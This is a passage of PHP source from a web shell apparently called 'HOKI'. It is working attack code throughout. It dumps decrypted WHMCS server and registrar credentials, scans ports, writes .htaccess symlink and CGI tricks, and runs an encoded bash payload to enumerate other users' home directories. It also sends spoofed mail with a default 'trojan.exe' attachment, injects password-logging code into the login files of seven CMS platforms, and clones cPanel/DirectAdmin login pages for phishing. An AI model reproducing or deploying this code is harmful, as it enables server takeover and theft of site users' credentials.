echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysqli_fetch_array($query1);
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value==""){
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border='1'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
}else{__alert('<font color="red">tblservers is Empty...!</font>');};
}
echo "</div>";
hokifooter();
}
function hokiportscanner(){
hokihead();
echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
<form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
<div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>
<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
</form></center><br>';
$start = strip_tags($_POST['hoki2']);
$end = strip_tags($_POST['hoki3']);
$host = strip_tags($_POST['hoki4']);
if(isset($_POST['hoki4']) && is_numeric($_POST['hoki3']) && is_numeric($_POST['hoki2'])){
echo __pre();
$packetContent = "GET / HTTP/1.1
";
if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("
","
"), "", $packetContent);
$packetContent = str_replace(array("
","
"), array("
", "
"), $packetContent);
}
for($i = $start; $i<=$end; $i++){
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if($sock){
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent."
");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="")$counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
}
flush();
}
}
echo '</div>';
hokifooter();
}
function hokicgihtaccess($m,$d='', $symname=false){
$readme = "";
if($symname){$readme="
ReadmeName ".trim($symname);}
if($m=='cgi'){
$code = "#Coded By Kise Ryouni & HOKI303
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .hoki
AddHandler cgi-script .hoki";
}elseif($m=='sym'){
$code = "#Coded By Kise Ryouni & HOKI303
Options Indexes FollowSymLinks
DirectoryIndex kiseryouni.phtm
AddType text/plain php html php4 phtml
AddHandler text/plain php html php4 phtml{$readme}
Options all";
}elseif($m=='shtml'){
$code = "Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function hokibasedir(){
hokihead();
echo '<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
$passwd = _hoki_file('/etc/passwd');
if(is_array($passwd)){
$users = array();
$makepwd = hokiMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if(_hoki_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = hokiWriteTocgiapi("basedir.hoki",$bash);
$bash_users = hokiEx("cd ".$tmp_path."/hokicgiapi;sh basedir.hoki ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != '')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd
"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories
"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...
"."<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
}
}else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
echo '<br><br></b>';
echo '</div>';
hokifooter();
}
function hokimail(){
hokihead();
echo '<div class=header>';
HokiNum(8,9,10);
echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
$table = array(
'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => '[email protected]', 'inputSize' => '60','placeholder' => true),
'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => '[email protected]', 'inputSize' => '60', 'placeholder' => true),
'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
);
create_table($table);
echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
if(isset($_POST['hoki4'])&&($_POST['hoki4'] == '>>')){
$mail_to = $_POST['hoki1'];
$mail_from = $_POST['hoki2'];
$mail_subject = $_POST['hoki3'];
$mail_content = $_POST['hoki5'];
$count_mail = (int)$_POST['hoki6'];
$mail_attach = $_POST['hoki7'];
if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
if(!empty($mail_attach)&&@is_file($mail_attach)){
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers = "From: ".$mail_from." <".$mail_from.">
";
$headers .= "To: " . $mail_to. " ( ".$mail_to." )
";
$headers .= "Reply-To: ".$mail_from."
";
$headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"
";
$headers .= 'MIME-Version: 1.0' . "
";
$headers .= 'X-Mailer: php' . "
";
$mail_content = "--".$uid."
";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1
";
$mail_content .= "Content-Transfer-Encoding: 7bit
";
$mail_content .= $mail_content."
";
$mail_content .= "--".$uid."
";
$mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"
";
$mail_content .= "Content-Transfer-Encoding: base64
";
$mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"
";
$mail_content .= $content."
";
$mail_content .= "--".$uid."--";
}else{
$headers = "From: " . $mail_from. " ( ".$mail_from." )
";
$headers .= "To: " . $mail_to. " ( ".$mail_to." )
";
$headers .= 'Reply-To: '.$mail_from.'' . "
";
$headers .= 'Content-type: text/html; charset=utf-8' . "
";
$headers .= 'MIME-Version: 1.0' . "
";
$headers .= 'X-Mailer: php' . "
";
}
if(empty($count_mail)||$count_mail<1)$count_mail=1;
if(!empty($mail_from)){echo __pre();
for($i=1;$i<=$count_mail;$i++){
if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
}}else{__alert("Invalid Mail From !");}
}else{__alert("Invalid Mail To !");}
}
echo('</div>');
hokifooter();
}
function hokiziper(){
hokihead();
HokiNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['hoki3'])?htmlspecialchars($_POST['hoki3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'hoki.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['hoki5']) && ($_POST['hoki5'] == '>>')){
$dirzip = $_POST['hoki3'];
$zipfile = $_POST['hoki4'];
if($GLOBALS['sys']!='unix'&&_hoki_can_runCommand(true,true)){
hokiEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&_hoki_can_runCommand(true,true)){
hokiEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif(class_exists('ZipArchive')){
if(__hokiziper($dirzip, $zipfile)){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
hokifooter();
}
function __hokiziper($source,$destination){
if(!extension_loaded('zip')||!file_exists($source)){
return false;
}
$zip=new ZipArchive();
if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
return false;
}
$source=str_replace('\','/',realpath($source));
if(is_dir($source)===true){
$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
foreach($files as $file){
$file=str_replace('\','/',$file);
if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue;
$file=realpath($file);
if(is_dir($file)===true){
$zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
}else if(is_file($file)===true){
$zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
}
}
}else if(is_file($source)===true){
$zip->addFromString(basename($source),file_get_contents($source));
}
return $zip->close();
}
function hokideziper(){
hokihead();
HokiNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['hoki3'])?htmlspecialchars($_POST['hoki3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['hoki5']) && ($_POST['hoki5'] == '>>')){
$dirzip = $_POST['hoki3'];
$zipfile = $_POST['hoki4'];
if(@!is_dir($zipfile)){
@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists('finfo_open')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
if($GLOBALS['sys']=='unix'&&_hoki_can_runCommand(true,true)){
$file_type = hokiEx('file -b --mime-type ' . $dirzip);
}
}
if($GLOBALS['sys']!='unix'&&_hoki_can_runCommand(true,true)){
hokiEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_hoki_can_runCommand(true,true)&&(strlen(hokiEx('which unzip')) > 0||strlen(hokiEx('which tar')) > 0||strlen(hokiEx('which gunzip')) > 0)){
switch ($file_type) {
case 'application/zip':
hokiEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
break;
case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
hokiEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
}else{
hokiEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
}
break;
}
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
}elseif(class_exists('ZipArchive')){
$itsok = false;
if(emtpy($file_type)){
$file_type = "application/zip";
}
switch ($file_type) {
case 'application/zip':
$zip = new ZipArchive;
$res = $zip->open($dirzip);
if ($res) {
$zip->extractTo($zipfile);
$zip->close();
$itsok = true;
}
break;
case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
if(strstr(basename($dirzip), ".tar.gz")){
$new_file = $zipfile .'/'. basename($dirzip);
@copy($dirzip, $new_file);
$new_tar = str_replace(".tar.gz", ".tar", $new_file);
try {
$p = new PharData($new_file);
$p->decompress();
$phar = new PharData($new_tar);
$phar->extractTo($zipfile);
@unlink($new_file);
@unlink($new_tar);
$itsok = true;
} catch (Exception $e) {
}
}else{
try {
$phar = new PharData($dirzip);
$phar->extractTo($zipfile);
$itsok = true;
} catch (Exception $e) {
}
}
break;
}
if($itsok){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
hokifooter();
}
function hokicmshijacker(){
hokihead();
HokiNum(5,6,7,8,9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select>");
echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'hoki.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
$cms = $_POST['hoki1'];
$saveto = $_POST['hoki2'];
$cmspath = $_POST['hoki4'];
if(!empty($cms) AND !empty($saveto) AND $_POST['hoki4'] AND $_POST['hoki3'] == '>>'){
echo __pre();
hokiHijackCms($cms,$cmspath,$saveto);
}
echo '</div>';
hokifooter();
}
function hokiHijackCms($cms,$cmspath,$saveto){
switch($cms){
case "vb":
hijackvBulletin($cmspath,$saveto);
break;
case "wp":
hijackwp($cmspath,$saveto);
break;
case "jom":
hijackJoomla($cmspath,$saveto);
break;
case "whmcs":
hijackWhmcs($cmspath,$saveto);
break;
case "mybb":
hijackMybb($cmspath,$saveto);
break;
case "ipb":
hijackIPB($cmspath,$saveto);
break;
case "phpbb":
hijackPHPBB($cmspath,$saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path,$saveto){
$code='$hoki_username = strtolower($vbulletin->GPC["vb_login_username"]);$hoki_password = $vbulletin->GPC["vb_login_password"];$hoki_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $hoki_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($hoki_password) > 1 AND strlen($hoki_username) > 1){$fp1 = @fopen($hoki_file, "a+");@fwrite($fp1, $hoki_username . \' : \' . $hoki_password." (" . $row["email"] . ")
");@fclose($fp1); $f = @file($hoki_file);$new = array_unique($f);$fp = @fopen($hoki_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
$code=str_replace('{saveto_path}',$saveto,$code);
$login = $path."/login.php";
$class = $path."/includes/class_bootstrap.php";
$dologin = 'do_login_redirect();';
$evil_login = " ".$code."
".$dologin;
$evil_class = "true";
if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
$login_replace = str_replace($dologin,$evil_login, $data_login);
$class_replace = str_replace($clearpw,$evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackwp($path,$saveto){
$code = '$hoki_file="{saveto_path}";$fp = fopen($hoki_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")
");fclose($fp);$f = @file($hoki_file);$new = array_unique($f);$fp = @fopen($hoki_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/wp-login.php";
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(@preg_match($redirect_wp, $data_login, $match)){
$evil_login = " ".$match[0]."
".$code;
$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackJoomla($path,$saveto){
$code = '<?php jimport(\'joomla.user.authentication\');$Hoki_auth = & JAuthentication::getInstance();$Hoki_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Hoki_options = array();$Hoki_response = $Hoki_auth->authenticate($Hoki_data, $Hoki_options);if($Hoki_response->status == 1){$hoki_file="{saveto_path}";$fp=@fopen($hoki_file,"a+");@fwrite($fp, $Hoki_response->username.":".$_POST[\'passwd\']." ( ".$Hoki_response->email." )
");@fclose($fp);$f = @file($hoki_file);$new = array_unique($f);$fp = @fopen($hoki_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$comp=$path."/administrator/components/com_login/";
if(@is_file($comp."/login.php")){
$login = $comp."/login.php";
}elseif(@is_file($comp."/admin.login.php")){
$login = $comp."/admin.login.php";
}else{
$login = '';
}
if(@is_file($login) AND @is_writable($login) AND $login != ''){
$data_login = @file_get_contents($login);
$evil_login = $code."
".$data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackWhmcs($path,$saveto){
$code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($hoki_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$hoki_file = "{saveto_path}";$hoki_uname = @$_POST[\'username\'];$hoki_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$hoki_q = "SELECT * FROM tbladmins WHERE `username` = \'$hoki_uname\' AND `password` = \'".md5($hoki_pw)."\'";$admin = true;}else{$hoki_q = "SELECT * FROM tblclients WHERE `email` = \'$hoki_uname\'";$admin = false;}$hoki_query = mysqli_query($hoki_connect, $hoki_q);if(mysqli_num_rows($hoki_query) > 0 ){$row = mysqli_fetch_array($hoki_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($hoki_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $hoki_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."
");@fclose($fp);$f = @file($hoki_file);$new = array_unique($f);$fp = @fopen($hoki_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$conf=$path."/configuration.php";
if(@is_file($conf) AND @is_writable($conf)){
$data_conf = @file_get_contents($conf);
if(!strstr($data_conf,'?>'))$code = '?>'.$code;
$evil_conf = $data_conf."
".$code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackMybb($path,$saveto){
$code = '$hoki_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$hoki_fetch = $db->fetch_array($hoki_q);$hoki_file = "{saveto_path}";$fp = @fopen($hoki_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$hoki_fetch[\'email\']." )
");@fclose($fp);$f = @file($hoki_file);$new = array_unique($f);$fp = @fopen($hoki_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
$find = '$loginhandler->complete_login();';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/member.php";
$evil_login = " ".$code."
".$find;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackIPB($path,$saveto){
$code = '$Hoki_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Hoki_file = "{saveto_path}";$fp = @fopen($Hoki_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Hoki_q[\'email\'].\' )\'."
");@fclose($fp);$f = @file($Hoki_file);$new = array_unique($f);$fp = @fopen($Hoki_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$find = 'unset( $member[\'plainPassword\'] );';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/admin/sources/handlers/han_login.php";
$evil_login = " ".$find."
".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackPHPBB($path,$saveto){
$code = '$Hoki_u = request_var(\'username\', \'\');$Hoki_p = request_var(\'password\', \'\');if($Hoki_u != \'\' AND $Hoki_p != \'\'){$Hoki_response = $auth->login($Hoki_u,$Hoki_p);if($Hoki_response[\'status\'] == LOGIN_SUCCESS){$Hoki_file ="{saveto_path}";$fp = @fopen($Hoki_file, "a+");@fwrite($fp, $Hoki_u." : ".$Hoki_p. " ( ".$Hoki_response[\'user_row\'][\'user_email\']." )
");@fclose($fp);$f = @file($Hoki_file);$new = array_unique($f);$fp = @fopen($Hoki_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$find = 'case \'login\':';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/ucp.php";
$evil_login = " ".$find."
".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
function Hoki_StrSearcher($dir,$string,$ext,$e,$arr=array()){
if(@is_dir($dir)){
$files=@scandir($dir);
foreach($files as $key => $value){
$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
if(!@is_dir($path)){
if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
if($e=='str'){
$content = @file_get_contents($path);
if(strpos($content, $string) !== false){
echo str_replace('\','/',$path) . "<br>";
}
}else{
if(strstr($value,$string)){
echo str_replace('\','/',$path) . "<br>";
}
}
$results[] = $path;
}elseif($value != "." && $value != "..") {
Hoki_StrSearcher($path,$string,$ext,$e,$results);
$results[] = $path;
}}}}
function hokifakepage(){
hokihead();
HokiNum(9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">';
$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select></div>");
echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="'.$_SERVER["DOCUMENT_ROOT"].'/fake_page_root/"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="'.$_SERVER["DOCUMENT_ROOT"].'/index.php"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: '.$_SERVER["DOCUMENT_ROOT"].'/wp-login.php"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="'.$GLOBALS['cwd'].'logs.txt"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
$clone_page = $_POST['hoki1'];
$fake_root = $_POST['hoki2'];
$logto = $_POST['hoki4'];
$panel = $_POST['hoki5'];
$inject_to = $_POST['hoki6'];
$bind_on = $_POST['hoki7'];
$count = $_POST['hoki8'];
if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['hoki3'] == '>>'){
echo __pre();
$target = $clone_page;
$curl = new HokiCURL();
$source_page = $curl->Send($target);
if(!empty($source_page)){
$matched_form = "";
if($panel == "cpanel"){
if(preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)){
$matched_form = $match[0];
}
}else{
if(preg_match('#<form(.*?)>#', $source_page, $match)){
$matched_form = $match[0];
}
}
if(!empty($matched_form)){
$fake = "";
$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
$uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
if($panel == "cpanel"){
$port = "2083";
}else{
$target = str_replace(array("http://", "https://"), "", $target);
$port = explode(":",$target);
$port = $port[1];
}
if(substr($uri, 0, 1) == "/"){
$uri = substr($uri, 1);
}
$uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
if($panel == "cpanel"){
$form = '<form novalidate id="login_form" action="'.$log_url.'" method="post" target="_top" style="visibility:">';
}else{
$form = '<form action="'.$log_url.'" method="post">';
}
$fake = str_replace($matched_form, $form, $source_page);
if(@!is_dir($fake_root)){
@mkdir($fake_root, 0777, true);
}
$cookie_name = "hoki_fakepage_counter" . rand(9999,99999);
$post_user = 'user';
$post_pass = 'pass';
